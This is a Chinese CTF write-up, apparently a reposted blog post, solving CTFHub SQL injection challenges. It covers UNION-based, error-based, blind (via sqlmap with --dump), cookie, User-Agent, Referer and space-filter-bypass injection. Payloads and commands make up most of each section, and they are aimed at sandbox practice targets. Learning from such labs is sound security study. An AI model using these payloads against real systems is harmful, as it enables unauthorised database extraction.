web-SQL注入-CTFHub

前言

在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通关了该靶场,训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。

sqli_labs的题解:sqli-labs通关全详解-CSDN博客

sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客

整数型注入

首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,

1 union select 0,1#

逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

-1 union select 0,1#

接下来就是常规步骤

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个flag表似乎是我们想要的

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#

连字段名都是flag,那必然是它了

出了

-1 union select 0,group_concat(flag) from flag#

字符型注入

还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入

输个1,查询正确,没有回显位,不能用报错注入

输个1’,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的

1 and extractvalue(1,concat(0x7e,(select database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#

发现flag不全

1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#

原来只差个}

布尔盲注

输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap

我的sqlmap是安装在windows上的,在其目录下打开cmd,

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1

成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db

查看当前数据库名

查看表名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables

查看字段名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查看用户数据

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

时间盲注

和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1

剩下的与上一题相同

MySQL结构

首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,

这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,

1 union select 0#
1 union select 0,1#

逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)

-1 union select 0,1#

发现0对应ID,1对应Data。

接下来就是常规步骤,

在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。

爆表名

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#

爆用户数据

-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#

Cookie注入

Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试

翻译成:输个1试试?

和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置

经尝试,数字型注入,不需要闭合,有两个返回值

0 union select 1,2--+

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+

0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+

UA注入

把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

-1 union select 1,2

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'

-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg

Refer注入

Referer注入没有referer?

自己构造一个

referer: 1

Ok了,在这注入

referer: -1 union select 1,2

referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'

referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln

过滤空格

输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

0/**/union/**/select/**/1,2

0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'

0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk

综合训练 SQLI-LABS

实际上就是作者在文章开头说的那个靶场,推荐大家自己搭建一下,很简单而且可以节省金币。

具体搭建方法作者在自己文章里引用出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/11944.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣动态规划-19【算法学习day.113】

前言 ###我做这类文章一个重要的目的还是记录自己的学习过程,我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴!!! 习题 1.矩形中移动的最大次数 题目链接…

js笔记(黑马程序员)

js(day2) 一、运算符 1.赋值运算符 运算符作用加法赋值-减法赋值*乘法复制/除法赋值%取余赋值 2.一元运算符 符号作用说明自增变量自身的值加1,如X--自减变量自身的值减1,如X-- 3.比较运算符 运算符作用>左边是否大于右…

使用Pygame制作“青蛙过河”游戏

本篇博客将演示如何使用 Python Pygame 从零开始编写一款 Frogger 风格的小游戏。Frogger 是一款早期街机经典,玩家需要帮助青蛙穿越车水马龙的马路到达对岸。本示例提供了一个精简原型,包含角色移动、汽车生成与移动、碰撞检测、胜利条件等关键点。希望…

联想拯救者Y9000P IRX8 2023 (82WK) 原厂Win11 家庭中文版系统 带一键还原功能 安装教程

安装完重建winre一键还原功能,和电脑出厂时的系统状态一模一样。自动机型专用软件,全部驱动,主题壁纸,自动激活,oem信息等。将电脑系统完全恢复到出厂时状态。 支持机型 (MTM) : 82WK 系统版本:Windows 1…

2025年02月02日Github流行趋势

项目名称:oumi 项目地址url:https://github.com/oumi-ai/oumi 项目语言:Python 历史star数:1416 今日star数:205 项目维护者:xrdaukar, oelachqar, taenin, wizeng23, kaisopos 项目简介:构建最…

【Elasticsearch】硬件资源优化

🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,精通Java编…

AJAX笔记原理篇

黑马程序员视频地址: AJAX-Day03-01.XMLHttpRequest_基本使用https://www.bilibili.com/video/BV1MN411y7pw?vd_source0a2d366696f87e241adc64419bf12cab&spm_id_from333.788.videopod.episodes&p33https://www.bilibili.com/video/BV1MN411y7pw?vd_sour…

Unity Shader Graph 2D - 跳动的火焰

在游戏中,火焰是一种常见的特效。通常来讲火焰特效通过粒子系统的方式实现的相对较多,本文将通过Shader Graph的方式来实现一种不同的火焰效果。 那么怎么实现呢 首先创建一个名为Fire的Shader Graph文件,然后创建一个名为M_Fire的材质球。 …

【二分题目】

二分 分巧克力求阶乘计算方程 分巧克力 分巧克力 import java.util.Scanner; // 1:无需package // 2: 类名必须Main, 不可修改 public class Main { public static void main(String[] args) {Scanner scan new Scanner(System.in);//在此输入您的代码...int nscan.nextInt…

集合通讯概览

集合通信概览 (1)通信的算法 是根据通讯的链路组成的 (2)因为通信链路 跟硬件强相关,所以每个CCL的库都不一样 芯片与芯片、不同U之间是怎么通信的 多卡训练:多维并行(xxx并行在上一期已经讲述…

GWO优化SVM回归预测matlab

灰狼优化算法(Grey Wolf Optimizer,简称 GWO),是由澳大利亚格里菲斯大学的 Mirjalii 等人于 2014 年提出的群智能优化算法。该算法的设计灵感源自灰狼群体的捕食行为,核心思想是对灰狼社会的结构与行为模式进行模仿。 …

LLM - 基于LM Studio本地部署DeepSeek-R1的蒸馏量化模型

文章目录 前言开发环境快速开始LM Studio简单设置模型下载开始对话 模型选择常见错误最后 前言 目前,受限于设备性能,在本地部署的基本都是DeepSeek-R1的蒸馏量化模型,这些蒸馏量化模型的表现可能并没有你想象的那么好。绝大部分人并不需要本…

csapp笔记3.6节——控制(1)

本节解决了x86-64如何实现条件语句、循环语句和分支语句的问题 条件码 除了整数寄存器外,cpu还维护着一组单个位的条件码寄存器,用来描述最近的算数和逻辑运算的某些属性。可检测这些寄存器来执行条件分支指令。 CF(Carry Flag&#xff09…

电路研究9.2.8——合宙Air780EP中IP 应用相关命令使用方法研究

这个有点吐血了,之前研究的时候只想着网络了,所以我对AT指令的那几个基本等指令以外,是跳到后面看的网络,加上IP也算网络里面的,就没注意,当时使用搜索查找时候并没有搜到ATSAPBR指令,结果这里打…

ubuntu解决普通用户无法进入root

项目场景: 在RK3566上移植Ubuntu20.04之后普通用户无法进入管理员模式 问题描述 在普通用户使用sudo su试图进入管理员模式的时候报错 解决方案: 1.使用 cat /etc/passwd 查看所有用户.最后一行是 若无用户,则使用 sudo useradd -r -m -s…

深度学习之“缺失数据处理”

缺失值检测 缺失数据就是我们没有的数据。如果数据集是由向量表示的特征组成,那么缺失值可能表现为某些样本的一个或多个特征因为某些原因而没有测量的值。通常情况下,缺失值由特殊的编码方式。如果正常值都是正数,那么缺失值可能被标记为-1…

Pandoc, Zotero, JabRef 管理论文引用,生成参考文献 | 撰写论文 paper

书接上回,使用 Obsidian, Zotero, JabRef, Pandoc, Markup-Markdown | 撰写论文 paper 管理论文引用,生成参考文献 TL; DR导出 bibliography 文件JabRefZotero 参考文献引用语法reference-docLinks TL; DR 安装 pandoc v3.6.2. 使用一下命令&#xff0c…

FFmpeg:多媒体处理的瑞士军刀

FFmpeg:多媒体处理的瑞士军刀 前言 FFmpeg 是一个功能强大且跨平台的开源多媒体框架,广泛应用于音视频处理领域。 它由多个库和工具组成,能够处理各种音视频格式,涵盖编码、解码、转码、流处理等多种操作。 无论是专业视频编辑…

优化代码性能:利用CPU缓存原理

在计算机的世界里,有一场如同龟兔赛跑般的速度较量,主角便是 CPU 和内存 。龟兔赛跑的故事大家都耳熟能详,兔子速度飞快,乌龟则慢吞吞的。在计算机中,CPU 就如同那敏捷的兔子,拥有超高的运算速度&#xff0…

oracle:索引(B树索引,位图索引,分区索引,主键索引,唯一索引,联合索引/组合索引,函数索引)

索引通过存储列的排序值来加快对表中数据的访问速度,帮助数据库系统快速定位到所需数据,避免全表扫描 B树索引(B-Tree Index) B树索引是一种平衡树结构,适合处理范围查询和精确查找。它的设计目标是保持数据有序,并支持高效的插入…